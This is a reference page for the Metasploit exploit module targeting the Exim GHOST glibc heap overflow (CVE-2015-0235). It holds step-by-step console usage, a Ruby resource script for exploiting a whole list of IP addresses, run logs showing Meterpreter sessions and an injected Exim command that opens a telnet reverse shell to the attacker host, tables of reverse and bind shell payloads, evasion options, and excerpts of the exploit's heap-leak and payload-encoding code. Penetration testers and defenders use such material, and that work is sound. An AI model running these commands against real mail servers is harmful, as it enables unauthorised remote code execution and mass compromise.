Exim GHOST (glibc gethostbyname) Buffer Overflow - Metasploit


This page contains detailed information about how to use the exploit/linux/smtp/exim_gethostbyname_bof metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Exim GHOST (glibc gethostbyname) Buffer Overflow
Module: exploit/linux/smtp/exim_gethostbyname_bof
Source code: modules/exploits/linux/smtp/exim_gethostbyname_bof.rb
Disclosure date: 2015-01-27
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 25
List of CVEs: CVE-2015-0235

This module is also known as ghost.

This module remotely exploits CVE-2015-0235, aka GHOST, a heap-based buffer overflow in the GNU C Library's gethostbyname functions on x86 and x86_64 GNU/Linux systems that run the Exim mail server.

Module Ranking and Traits


Module Ranking:

  • great: The exploit has a default target AND either auto-detects the appropriate target or uses an application-specific return address AFTER a version check. More information about ranking can be found here.

Basic Usage


Using exim_gethostbyname_bof against a single host

Normally, you can use exploit/linux/smtp/exim_gethostbyname_bof this way:

msf > use exploit/linux/smtp/exim_gethostbyname_bof
msf exploit(exim_gethostbyname_bof) > show targets
    ... a list of targets ...
msf exploit(exim_gethostbyname_bof) > set TARGET target-id
msf exploit(exim_gethostbyname_bof) > show options
    ... show and set options ...
msf exploit(exim_gethostbyname_bof) > exploit

Using exim_gethostbyname_bof against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your exim_gethostbyname_bof will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/linux/smtp/exim_gethostbyname_bof")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • SENDER_HOST_ADDRESS: The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)

Knowledge Base


Vulnerable Application


The Exim GHOST buffer overflow is a vulnerability found by researchers from Qualys. On March 17th 2015, Qualys released an exploit module demonstrating the exploitability of this flaw, which is now exim_gethostbyname_bof in Metasploit Framework.

When Qualys released the exploit, it included a lot of technical details for debugging and usage purposes. We decided to put all that here in a more readable format.

What is "GHOST"

This is a heap based buffer overflow found in GNU C Library's get*host*byname functions since glibc-2.2 (November 10, 2000), which is part of the Linux operating system, such as: Debian, Red Hat, CentOS, and Ubuntu.

Exploitable Requirements

On the server-side (victim):

  • glibc-2.6 - glibc-2.17: The exploit depends on the newer versions' fd_nextsize (a member of the malloc_chunk structure) to remotely obtain the address of Exim's smtp_cmd_buffer in the heap.
  • Exim server. The first exploitable version is Exim-4.77, maybe older. The exploit depends on the newer versions' 16-KB smtp_cmd_buffer to reliably set up the heap as described in the advisory.
  • The Exim server also must enable helo_try_verify_hosts or helo_verify_hosts in the /etc/exim4/exim4.conf.template file. The verify = helo ACL might be exploitable too, but the attack vector isn't as reliable, therefore not supported by the module.

For testing purposes, if you need to find a vulnerable system, you can try Debian 7 (it should come with an exploitable Exim server): debian-7.7.0-i386-DVD-1.iso

On the attacker's side:

  • The attacker's IPv4 address must have both forward and reverse DNS entries that match each other (Forward-Confirmed reverse DNS).

Troubleshooting

If the exim_gethostbyname_bof.rb module has failed on you:

Failure Explanation
bad SENDER_HOST_ADDRESS (nil) The SENDER_HOST_ADDRESS datastore option was not specified
bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation) The SENDER_HOST_ADDRESS datastore option was specified, but not in IPv4 dotted-decimal notation
bad SENDER_HOST_ADDRESS (helo_verify_hosts) The SENDER_HOST_ADDRESS datastore option does not match the IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim).
bad SENDER_HOST_ADDRESS (no FCrDNS) the IPv4 address of the SMTP client (Metasploit) has no Forward-Confirmed reverse DNS.
not vuln? old glibc? (no leaked_arch) the remote Exim server is either not vulnerable, or not exploitable (glibc versions older than glibc-2.6 have no fd_nextsize member in their malloc_chunk structure).
NUL, CR, LF in addr? (no leaked_addr) Exim's heap address contains bad characters (NUL, CR, LF) and was therefore mangled during the information leak; this exploit is able to reconstruct most of these addresses, but not all (worst-case probability is ~1/85, but could be further improved).
Brute-force SUCCESS followed by a nil reply, but no shell the remote Unix command was executed, but spawned a bind-shell or a reverse-shell that failed to connect (maybe because of a firewall, or a NAT, etc).
Brute-force SUCCESS followed by a non-nil reply, and no shell The remote Unix command was executed, but failed to spawn the shell (maybe because the setsid command doesn't exist, or awk isn't gawk, or netcat doesn't support the -6 or -e option, or telnet doesn't support the -z option, etc).

Verification Steps


  1. Install the application
  2. Start msfconsole
  3. Do: use exploit/linux/smtp/exim_gethostbyname_bof
  4. Do: set rhosts [ip]
  5. Do: set SENDER_HOST_ADDRESS [ip]
  6. Do: run
  7. You should get a shell.

Options


SENDER_HOST_ADDRESS

The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)

Scenarios


Debian 7.7

When everything is dialed in correctly, a successful attack should look like the following:

msf exploit(exim_gethostbyname_bof) > run

[*] Started reverse double handler
[*] Trying information leak...
[!] {:heap_shift=>736}
[!] {:write_offset=>128, :error=>"503 sender not yet given"}
[!] {:write_offset=>136, :error=>"\xE0.\xFF\xB7\xE0.\xFF\xB7er not yet given"}
[!] {:error=>["\xE0.\xFF\xB7\xE0.\xFF\xB7er not yet given", "", "503 \x89\x10", "177", "177\\177\\177", "vJN\\177\\177\\177\\177"]}
[!] {:leaked_arch=>"x86"}
[!] {:count=>{"\xE0.\xFF\xB7\xE0.\xFF\xB7er not yet given"=>8, "hF\xFE\xB7hF\xFE\xB7er not yet given"=>2}}
[+] Successfully leaked_arch: x86
[+] Successfully leaked_addr: b7fda760
[*] Trying code execution...
[!] ${run{/usr/bin/env setsid /bin/sh -c "sh -c '(sleep 4011|telnet 192.168.1.64 4444|while : ; do sh && break; done 2>&1|telnet 192.168.1.64 4444 >/dev/null 2>&1 &)'"}}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fda760", :offset=>21}
[!] {:reply=>{:code=>"250", :lines=>["250 Accepted\r\n"]}}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fda760", :offset=>25}
[!] {:reply=>{:code=>"250", :lines=>["250 Accepted\r\n"]}}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd8fd7", :offset=>20}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd8fd7", :offset=>8}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd784e", :offset=>6}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd784e", :offset=>12}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd60c5", :offset=>19}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd60c5", :offset=>29}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd493c", :offset=>23}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd493c", :offset=>18}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd31b3", :offset=>14}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd31b3", :offset=>3}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd1a2a", :offset=>29}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd1a2a", :offset=>28}
[!] {:helo=>6144, :step=>6025, :addr=>"b7fd02a1", :offset=>26}
[!] {:reply=>{:code=>"550", :lines=>["550 sikVtqGxFOjCBOWTbDupmIuJRmLmShFNqqUYRRPUolyxPmmgLCenEzConuVGWafjgycyRfXulGNwmAOvkqZkGobMyUIMPojZsaziCjVVyvabOrcieEWrLZSgnCCXHeXjIzGGfUALAIubgBEmsKsSWSGa\r\n"]}}
[+] Brute-force SUCCESS
[+] Please wait for reply...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo qaNpBmRBEus9XoVZ;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "qaNpBmRBEus9XoVZ\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.1.64:4444 -> 192.168.1.166:58859) at 2015-03-19 03:36:52 -0500
[!] {:reply=>nil}

id
uid=104(Debian-exim) gid=112(Debian-exim) groups=112(Debian-exim)

Go back to menu.

Msfconsole Usage


Here is how the linux/smtp/exim_gethostbyname_bof exploit module looks in the msfconsole:

msf6 > use exploit/linux/smtp/exim_gethostbyname_bof

[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(linux/smtp/exim_gethostbyname_bof) > show info

       Name: Exim GHOST (glibc gethostbyname) Buffer Overflow
     Module: exploit/linux/smtp/exim_gethostbyname_bof
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: BSD License
       Rank: Great
  Disclosed: 2015-01-27

Provided by:
  Unknown

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  Yes

Basic options:
  Name                 Current Setting  Required  Description
  ----                 ---------------  --------  -----------
  RHOSTS                                yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT                25               yes       The target port (TCP)
  SENDER_HOST_ADDRESS                   yes       The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)

Payload information:
  Space: 255
  Avoid: 0 characters

Description:
  This module remotely exploits CVE-2015-0235, aka GHOST, a heap-based 
  buffer overflow in the GNU C Library's gethostbyname functions on 
  x86 and x86_64 GNU/Linux systems that run the Exim mail server.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2015-0235
  https://www.kb.cert.org/vuls/id/967332
  OSVDB (117579)
  http://www.securityfocus.com/bid/72325
  https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt
  https://community.qualys.com/blogs/laws-of-vulnerabilities/2015/01/27/the-ghost-vulnerability
  http://r-7.co/1CAnMc0

Also known as:
  ghost

Module Options


This is a complete list of options available in the linux/smtp/exim_gethostbyname_bof exploit:

msf6 exploit(linux/smtp/exim_gethostbyname_bof) > show options

Module options (exploit/linux/smtp/exim_gethostbyname_bof):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   RHOSTS                                yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT                25               yes       The target port (TCP)
   SENDER_HOST_ADDRESS                   yes       The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)

Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the linux/smtp/exim_gethostbyname_bof exploit:

msf6 exploit(linux/smtp/exim_gethostbyname_bof) > show advanced

Module advanced options (exploit/linux/smtp/exim_gethostbyname_bof):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   CHOST                                    no        The local client address
   CPORT                                    no        The local client port
   ConnectTimeout          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   FORCE_EXPLOIT           false            no        Let the exploit run anyway without the check first
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                     false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/reverse_netcat):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the linux/smtp/exim_gethostbyname_bof module can exploit:

msf6 exploit(linux/smtp/exim_gethostbyname_bof) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the linux/smtp/exim_gethostbyname_bof exploit:

msf6 exploit(linux/smtp/exim_gethostbyname_bof) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_awk                                    normal  No     Unix Command Shell, Bind TCP (via AWK)
   1   payload/cmd/unix/bind_busybox_telnetd                        normal  No     Unix Command Shell, Bind TCP (via BusyBox telnetd)
   2   payload/cmd/unix/bind_lua                                    normal  No     Unix Command Shell, Bind TCP (via Lua)
   3   payload/cmd/unix/bind_netcat                                 normal  No     Unix Command Shell, Bind TCP (via netcat)
   4   payload/cmd/unix/bind_netcat_gaping                          normal  No     Unix Command Shell, Bind TCP (via netcat -e)
   5   payload/cmd/unix/bind_netcat_gaping_ipv6                     normal  No     Unix Command Shell, Bind TCP (via netcat -e) IPv6
   6   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   7   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   8   payload/cmd/unix/bind_r                                      normal  No     Unix Command Shell, Bind TCP (via R)
   9   payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   10  payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   11  payload/cmd/unix/bind_socat_udp                              normal  No     Unix Command Shell, Bind UDP (via socat)
   12  payload/cmd/unix/bind_stub                                   normal  No     Unix Command Shell, Bind TCP (stub)
   13  payload/cmd/unix/bind_zsh                                    normal  No     Unix Command Shell, Bind TCP (via Zsh)
   14  payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   15  payload/cmd/unix/pingback_bind                               normal  No     Unix Command Shell, Pingback Bind TCP (via netcat)
   16  payload/cmd/unix/pingback_reverse                            normal  No     Unix Command Shell, Pingback Reverse TCP (via netcat)
   17  payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   18  payload/cmd/unix/reverse_awk                                 normal  No     Unix Command Shell, Reverse TCP (via AWK)
   19  payload/cmd/unix/reverse_bash                                normal  No     Unix Command Shell, Reverse TCP (/dev/tcp)
   20  payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   21  payload/cmd/unix/reverse_bash_udp                            normal  No     Unix Command Shell, Reverse UDP (/dev/udp)
   22  payload/cmd/unix/reverse_ksh                                 normal  No     Unix Command Shell, Reverse TCP (via Ksh)
   23  payload/cmd/unix/reverse_lua                                 normal  No     Unix Command Shell, Reverse TCP (via Lua)
   24  payload/cmd/unix/reverse_ncat_ssl                            normal  No     Unix Command Shell, Reverse TCP (via ncat)
   25  payload/cmd/unix/reverse_netcat                              normal  No     Unix Command Shell, Reverse TCP (via netcat)
   26  payload/cmd/unix/reverse_netcat_gaping                       normal  No     Unix Command Shell, Reverse TCP (via netcat -e)
   27  payload/cmd/unix/reverse_openssl                             normal  No     Unix Command Shell, Double Reverse TCP SSL (openssl)
   28  payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   29  payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   30  payload/cmd/unix/reverse_python                              normal  No     Unix Command Shell, Reverse TCP (via Python)
   31  payload/cmd/unix/reverse_r                                   normal  No     Unix Command Shell, Reverse TCP (via R)
   32  payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   33  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   34  payload/cmd/unix/reverse_socat_udp                           normal  No     Unix Command Shell, Reverse UDP (via socat)
   35  payload/cmd/unix/reverse_ssh                                 normal  No     Unix Command Shell, Reverse TCP SSH
   36  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)
   37  payload/cmd/unix/reverse_stub                                normal  No     Unix Command Shell, Reverse TCP (stub)
   38  payload/cmd/unix/reverse_tclsh                               normal  No     Unix Command Shell, Reverse TCP (via Tclsh)
   39  payload/cmd/unix/reverse_zsh                                 normal  No     Unix Command Shell, Reverse TCP (via Zsh)
   40  payload/generic/custom                                       normal  No     Custom Payload
   41  payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   42  payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline

Evasion Options


Here is the full list of possible evasion options supported by the linux/smtp/exim_gethostbyname_bof exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(linux/smtp/exim_gethostbyname_bof) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Vulnerability check failed


Here is a relevant code snippet related to the "Vulnerability check failed" error message:

106:	  end
107:	
108:	  def exploit
109:	    unless datastore['FORCE_EXPLOIT']
110:	      print_status("Checking if target is vulnerable...")
111:	      fail_with(Failure::NotVulnerable, "Vulnerability check failed") if check != Exploit::CheckCode::Vulnerable
112:	      print_good("Target is vulnerable.")
113:	    end
114:	    information_leak
115:	    code_execution
116:	  end

503 sender not yet given


Here is a relevant code snippet related to the "503 sender not yet given" error message:

166:	
167:	        128.step(256, 8) do |write_offset|
168:	          error = try_information_leak(heap_shift, write_offset)
169:	          vprint_status("#{{ write_offset: write_offset, error: error }}")
170:	          throw(:another_heap_shift) if not error
171:	          next if error == "503 sender not yet given"
172:	
173:	          # try a few more offsets (allows us to double-check things,
174:	          # and distinguish between 32-bit and 64-bit machines)
175:	
176:	          error = [error]

arch changed


Here is a relevant code snippet related to the "arch changed" error message:

195:	
196:	          else
197:	            throw(:another_heap_shift)
198:	          end
199:	          vprint_status("#{{ leaked_arch: leaked_arch }}")
200:	          fail_with(Failure::BadConfig, "arch changed") if _leaked_arch and _leaked_arch != leaked_arch
201:	
202:	          # try different large-bins: most of them should be empty,
203:	          # so keep the most frequent fd_nextsize address
204:	          # (a pointer to the malloc_chunk itself)
205:	

er not yet given


Here is a relevant code snippet related to the "er not yet given" error message:

220:	          count = error_count[1]
221:	          throw(:another_heap_shift) unless count >= 6 # majority
222:	          leaked_addr.push({ error: error, shift: heap_shift })
223:	
224:	          # common-case shortcut
225:	          if (leaked_arch == ARCH_X86 and error[0,4] == error[4,4] and error[8..-1] == "er not yet given") or
226:	             (leaked_arch == ARCH_X64 and error.length == 6 and error[5].count("\x7E-\x7F").nonzero?)
227:	            leaked_addr = [leaked_addr.last] # use this one, and not another
228:	            throw(:another_heap_shift, true) # done
229:	          end
230:	          throw(:another_heap_shift)

x7E-x7F


Here is a relevant code snippet related to the "x7E-x7F" error message:

221:	          throw(:another_heap_shift) unless count >= 6 # majority
222:	          leaked_addr.push({ error: error, shift: heap_shift })
223:	
224:	          # common-case shortcut
225:	          if (leaked_arch == ARCH_X86 and error[0,4] == error[4,4] and error[8..-1] == "er not yet given") or
226:	             (leaked_arch == ARCH_X64 and error.length == 6 and error[5].count("\x7E-\x7F").nonzero?)
227:	            leaked_addr = [leaked_addr.last] # use this one, and not another
228:	            throw(:another_heap_shift, true) # done
229:	          end
230:	          throw(:another_heap_shift)
231:	        end

not vuln? old glibc? (no leaked_arch)


Here is a relevant code snippet related to the "not vuln? old glibc? (no leaked_arch)" error message:

232:	        throw(:another_heap_shift)
233:	      end
234:	      break if done
235:	    end
236:	
237:	    fail_with(Failure::NotVulnerable, "not vuln? old glibc? (no leaked_arch)") if leaked_arch.nil?
238:	    fail_with(Failure::NotVulnerable, "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr.empty?
239:	
240:	    leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length }
241:	    leaked_addr = leaked_addr.first # longest
242:	    error = leaked_addr[:error]

NUL, CR, LF in addr? (no leaked_addr)


Here is a relevant code snippet related to the "NUL, CR, LF in addr? (no leaked_addr)" error message:

233:	      end
234:	      break if done
235:	    end
236:	
237:	    fail_with(Failure::NotVulnerable, "not vuln? old glibc? (no leaked_arch)") if leaked_arch.nil?
238:	    fail_with(Failure::NotVulnerable, "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr.empty?
239:	
240:	    leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length }
241:	    leaked_addr = leaked_addr.first # longest
242:	    error = leaked_addr[:error]
243:	    shift = leaked_addr[:shift]

NUL, CR, LF in addr? (no leaked_addr)


Here is a relevant code snippet related to the "NUL, CR, LF in addr? (no leaked_addr)" error message:

247:	      break if i >= error.length
248:	      leaked_addr += error.unpack('C*')[i] * (2**(i*8))
249:	    end
250:	    # leaked_addr should point to the beginning of Exim's smtp_cmd_buffer:
251:	    leaked_addr -= 2*SMTP_CMD_BUFFER_SIZE + IN_BUFFER_SIZE + 4*(11*1024+shift) + 3*1024 + STORE_BLOCK_SIZE
252:	    fail_with(Failure::NoTarget, "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr <= MMAP_MIN_ADDR
253:	
254:	    print_good("Successfully leaked_arch: #{leaked_arch}")
255:	    print_good("Successfully leaked_addr: #{leaked_addr.to_s(16)}")
256:	    @leaked = { arch: leaked_arch, addr: leaked_addr }
257:	  end

heap_shift


Here is a relevant code snippet related to the "heap_shift" error message:

255:	    print_good("Successfully leaked_addr: #{leaked_addr.to_s(16)}")
256:	    @leaked = { arch: leaked_arch, addr: leaked_addr }
257:	  end
258:	
259:	  def try_information_leak(heap_shift, write_offset, last_digit = 9)
260:	    fail_with(Failure::BadConfig, "heap_shift") if (heap_shift < MIN_HEAP_SHIFT)
261:	    fail_with(Failure::BadConfig, "heap_shift") if (heap_shift & 15) != 0
262:	    fail_with(Failure::BadConfig, "write_offset") if (write_offset & 7) != 0
263:	    fail_with(Failure::BadConfig, "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/
264:	
265:	    smtp_connect

heap_shift


Here is a relevant code snippet related to the "heap_shift" error message:

256:	    @leaked = { arch: leaked_arch, addr: leaked_addr }
257:	  end
258:	
259:	  def try_information_leak(heap_shift, write_offset, last_digit = 9)
260:	    fail_with(Failure::BadConfig, "heap_shift") if (heap_shift < MIN_HEAP_SHIFT)
261:	    fail_with(Failure::BadConfig, "heap_shift") if (heap_shift & 15) != 0
262:	    fail_with(Failure::BadConfig, "write_offset") if (write_offset & 7) != 0
263:	    fail_with(Failure::BadConfig, "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/
264:	
265:	    smtp_connect
266:	

write_offset


Here is a relevant code snippet related to the "write_offset" error message:

257:	  end
258:	
259:	  def try_information_leak(heap_shift, write_offset, last_digit = 9)
260:	    fail_with(Failure::BadConfig, "heap_shift") if (heap_shift < MIN_HEAP_SHIFT)
261:	    fail_with(Failure::BadConfig, "heap_shift") if (heap_shift & 15) != 0
262:	    fail_with(Failure::BadConfig, "write_offset") if (write_offset & 7) != 0
263:	    fail_with(Failure::BadConfig, "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/
264:	
265:	    smtp_connect
266:	
267:	    # bulletproof Heap Feng Shui; the hard part is avoiding:

503-All RCPT commands were rejected with this error:rn


Here is a relevant code snippet related to the "503-All RCPT commands were rejected with this error:rn" error message:

306:	      smtp_send("DATA")
307:	      reply = smtp_recv(503)
308:	
309:	      lines = reply[:lines]
310:	      fail if lines.size <= 3
311:	      fail if lines[+0] != "503-All RCPT commands were rejected with this error:\r\n"
312:	      fail if lines[-2] != "503-valid RCPT command must precede DATA\r\n"
313:	      fail if lines[-1] != "503 Too many syntax or protocol errors\r\n"
314:	
315:	      # if leaked_addr contains LF, reverse smtp_respond()'s multiline splitting
316:	      # (the "while (isspace(*msg)) msg++;" loop can't be easily reversed,

503 Too many syntax or protocol errorsrn


Here is a relevant code snippet related to the "503 Too many syntax or protocol errorsrn" error message:

308:	
309:	      lines = reply[:lines]
310:	      fail if lines.size <= 3
311:	      fail if lines[+0] != "503-All RCPT commands were rejected with this error:\r\n"
312:	      fail if lines[-2] != "503-valid RCPT command must precede DATA\r\n"
313:	      fail if lines[-1] != "503 Too many syntax or protocol errors\r\n"
314:	
315:	      # if leaked_addr contains LF, reverse smtp_respond()'s multiline splitting
316:	      # (the "while (isspace(*msg)) msg++;" loop can't be easily reversed,
317:	      # but happens with lower probability)
318:	

encoded payload


Here is a relevant code snippet related to the "encoded payload" error message:

335:	
336:	    # can't "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} " anymore:
337:	    # DW/26 Set FD_CLOEXEC on SMTP sockets after forking in the daemon, to ensure
338:	    #       that rogue child processes cannot use them.
339:	
340:	    fail_with(Failure::BadConfig, "encoded payload") if payload.raw != payload.encoded
341:	    fail_with(Failure::BadConfig, "invalid payload") if payload.raw.empty? or payload.raw.count("^\x20-\x7E").nonzero?
342:	    # Exim processes our run-ACL with expand_string() first (hence the [\$\{\}\\] escapes),
343:	    # and transport_set_up_command(), string_dequote() next (hence the [\"\\] escapes).
344:	    encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&')
345:	    # setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);"

invalid payload


Here is a relevant code snippet related to the "invalid payload" error message:

336:	    # can't "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} " anymore:
337:	    # DW/26 Set FD_CLOEXEC on SMTP sockets after forking in the daemon, to ensure
338:	    #       that rogue child processes cannot use them.
339:	
340:	    fail_with(Failure::BadConfig, "encoded payload") if payload.raw != payload.encoded
341:	    fail_with(Failure::BadConfig, "invalid payload") if payload.raw.empty? or payload.raw.count("^\x20-\x7E").nonzero?
342:	    # Exim processes our run-ACL with expand_string() first (hence the [\$\{\}\\] escapes),
343:	    # and transport_set_up_command(), string_dequote() next (hence the [\"\\] escapes).
344:	    encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&')
345:	    # setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);"
